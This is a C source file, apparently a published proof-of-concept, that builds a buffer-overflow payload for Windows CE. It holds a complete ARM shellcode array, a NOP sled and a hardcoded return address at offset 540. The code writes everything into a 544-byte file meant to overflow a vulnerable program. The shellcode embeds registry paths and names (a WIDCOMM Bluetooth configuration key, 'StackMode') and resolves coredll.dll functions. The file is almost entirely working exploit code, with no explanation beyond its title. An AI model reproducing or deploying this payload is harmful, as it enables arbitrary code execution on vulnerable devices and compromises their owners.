/* exp.c - Windows CE Buffer Overflow Demo

*

*  san@xfocus.org

*/

#include<stdio.h>



#define NOP 0xE1A01001  /* mov r1, r1     */

#define LR  0x0002FC50  /* return address */



int shellcode[] =

{

0xEB000026,

0xE3A02004,

0xEB00003A,

0xE24DDF89,

0xE28D0008,

0xE58D0000,

0xE3A03002,

0xE3A02000,

0xE28F1F56,

0xE3A0010A,

0xE1A0E00F,

0xE518F00C,

0xE3A00001,

0xE58D000C,

0xE3A03004,

0xE58D3004,

0xE28D100C,

0xE58D1000,

0xE28F1F5F,

0xE59D0008,

0xE1A0E00F,

0xE518F008,

0xE59D0008,

0xE1A0E00F,

0xE518F004,

0xE28F0C01,

0xE5900000,

0xE3A01000,

0xE3A02000,

0xE3A03000,

0xE1A0E00F,

0xE518F010,

0xE0D020B2,

0xE0D130B2,

0xE3520000,

0x03530000,

0x01A0F00E,

0xE1520003,

0x0AFFFFF8,

0xE1A0F00E,

0xE1A0B00E,

0xE28F40BC,

0xE5944000,

0xE3A05FC9,

0xE0845005,

0xE5955000,

0xE1A06005,

0xE3A07000,

0xE5960008,

0xE28F1F45,

0xEBFFFFEC,

0x0596707C,

0x0596808C,

0xE0879008,

0x0A000003,

0xE5966004,

0xE3560000,

0x11560005,

0x1AFFFFF4,

0xE1A00007,

0xE0881007,

0xE1A0F00B,

0xE28F8070,

0xE5914020,

0xE0844000,

0xE3A06000,

0xE4947004,

0xE0877000,

0xE3A0A000,

0xE4D79001,

0xE3590000,

0x0A000001,

0xE089A3EA,

0xEAFFFFFA,

0xE5989000,

0xE15A0009,

0x12866001,

0x1AFFFFF3,

0xE5915024,

0xE0855000,

0xE0866006,

0xE19590B6,

0xE591501C,

0xE0855000,

0xE7959109,

0xE0899000,

0xE4889004,

0xE2522001,

0x1AFFFFE5,

0xE1A0F00E,

0xFFFFC800,

0x0101003C,

0x283A9DE7,

0x0BF7DF51,

0xD8C0FEC0,

0x0E511783,

0x004F0053,

0x00540046,

0x00410057,

0x00450052,

0x005C005C,

0x00690057,

0x00630064,

0x006D006F,

0x005C006D,

0x0042005C,

0x00430074,

0x006E006F,

0x00690066,

0x005C0067,

0x0047005C,

0x006E0065,

0x00720065,

0x006C0061,

0x00000000,

0x00740053,

0x00630061,

0x004D006B,

0x0064006F,

0x00000065,

0x006F0063,

0x00650072,

0x006C0064,

0x002E006C,

0x006C0064,

0x0000006C,

};



/* prints a long to a string */

char* put_long(char* ptr, long value)

{

    *ptr++ = (char) (value >> 0) & 0xff;

    *ptr++ = (char) (value >> 8) & 0xff;

    *ptr++ = (char) (value >> 16) & 0xff;

    *ptr++ = (char) (value >> 24) & 0xff;



    return ptr;

}



int main()

{

    FILE * binFileH;

    char binFile[] = "binfile";

    char buf[544];

    char *ptr;

    int  i;



    if ( (binFileH = fopen(binFile, "wb")) == NULL )

    {

        printf("can't create file %s!\n", binFile);

        return 1;

    }



    memset(buf, 0, sizeof(buf)-1);

    ptr = buf;



    for (i = 0; i < 4; i++) {

        ptr = put_long(ptr, NOP);

    }

    memcpy(buf+16, shellcode, sizeof(shellcode));

    put_long(ptr-16+540, LR);



    fwrite(buf, sizeof(char), 544, binFileH);

    fclose(binFileH);

}